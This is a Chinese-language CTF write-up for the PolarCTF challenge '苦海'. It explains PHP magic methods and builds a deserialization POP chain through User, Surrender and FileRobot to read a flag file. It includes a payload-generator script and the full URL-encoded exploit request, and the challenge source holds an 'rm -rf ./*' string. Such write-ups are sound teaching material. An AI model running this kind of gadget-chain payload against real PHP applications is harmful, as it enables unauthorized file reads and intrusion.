【PolarCTF】苦海

复制代码
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
}

基础知识

__invoke魔术方法

当对象当作函数直接调用时执行。

触发方式:把对象像函数一样加括号 () 调用

例子如下:

复制代码
<?php

class CallableTest
{
    public function __invoke($a, $b)
    {
        return $a + $b;
    }
}

$obj = new CallableTest();

// 触发魔术方法
echo $obj(2,3); //输出 5

__get魔术方法

在读取一个对象不存在 / 不可访问的属性时自动触发。

例子

复制代码
class Test
{
    // $name 是要读取的属性名
    public function __get(string $name)
    {
        echo "读取不存在属性:" . $name;
        return "默认值";
    }
}

$obj = new Test();

// 访问类中没有定义的属性,触发 __get
echo $obj->aaa; 
//输出:读取不存在属性:aaa,然后输出返回值 默认值

__toString魔术方法

把对象当作一个字符串来使用的时候,PHP 会自动调用 __toString()

复制代码
<?php
class Test {
    public function __toString()
    {
        // 注意:__toString 必须 return 一个字符串,不能echo!
        return "我是对象转字符串的结果";
    }
}

$obj = new Test();

# 下述操作都会对__toString进行触发

echo $obj;   //触发 __toString
print $obj;  //触发 __toString
$str = "abc" . $obj; //拼接,对象被当成字符串,触发__toString
$str = (string)$obj; //强制转字符串,触发
printf("%s", $obj); //触发 __toString
$b = strlen($obj); //内部会转字符串,触发__toString

解题

整理下思路

复制代码
unserialize()
  │
  └─▶ User::__wakeup()
        │
        └─▶ User::printName()
              │
              └─▶ 访问 $name (Surrender对象)
                    │
                    └─▶ Surrender::__toString()
                          │
                          └─▶ 访问 $file['filename']->content (触发__get)
                                │
                                └─▶ FileRobot::__get()
                                      │
                                      └─▶ 调用 $path() (触发__invoke)
                                            │
                                            └─▶ FileRobot::__invoke()
                                                  │
                                                  └─▶ FileRobot::Get_file('flag.php')

payload如下:

复制代码
<?php

class User{
    public $name;
}

class Surrender{
    # 这里我有踩坑,把phone、promise这些无关的属性写下来,觉得无所谓就写了下来
    # 后面由于private属性的影响导致我构造payload打不通,以后无关的属性就不要写了
    public $file;
    
}

class FileRobot{
    # 目标文件在../flag.php,不是flag.php
    public $filename = '../flag.php';
    public $path;

}

$user = new User();
$surrender = new Surrender();
$filerobot = new FileRobot();

$user->name = $surrender;
# 这里注意是赋值的数组
$surrender->file = ['filename'=>$filerobot];
$filerobot->path = $filerobot;


echo urlencode(serialize($user));

?>


http://9d715efa-398f-4f5c-8c58-a6a97dc19ecb.www.polarctf.com:8090/?user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A1%3A%7Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3Br%3A4%3B%7D%7D%7D%7D
相关推荐
个性小王2 小时前
安装kali操作系统
网络安全·操作系统·渗透·kali
网安老伯7 小时前
都2026年了,还在问网络安全怎么入门?看完这一篇你就懂了
运维·计算机网络·web安全·网络安全·wireshark·密码学·网络攻击模型
sbjdhjd9 小时前
ThinkPHP 5.0.10 缓存写入型 RCE 复盘:从手动搭建、换行绕过到源码单步验证 | 05
java·后端·安全·spring·网络安全·数据挖掘·php
顾城猿10 小时前
PCS多项式承诺方案
网络安全
Demons_kirit12 小时前
身份验证漏洞
网络安全·portswigger
Bruce_Liuxiaowei1 天前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
XLYcmy1 天前
面向安全领域决策的大型语言模型漏洞价值评估对齐机制与智能化评级系统研发 研究方向与核心内容
网络安全·llm·sft·cve·cot·对齐·漏洞检测
是逍遥子没错1 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
木卫四科技1 天前
7 分钟、90 分钟、24 小时:漏洞管理的时间尺度已经崩塌
网络安全·智能体安全
anqianqi1232 天前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑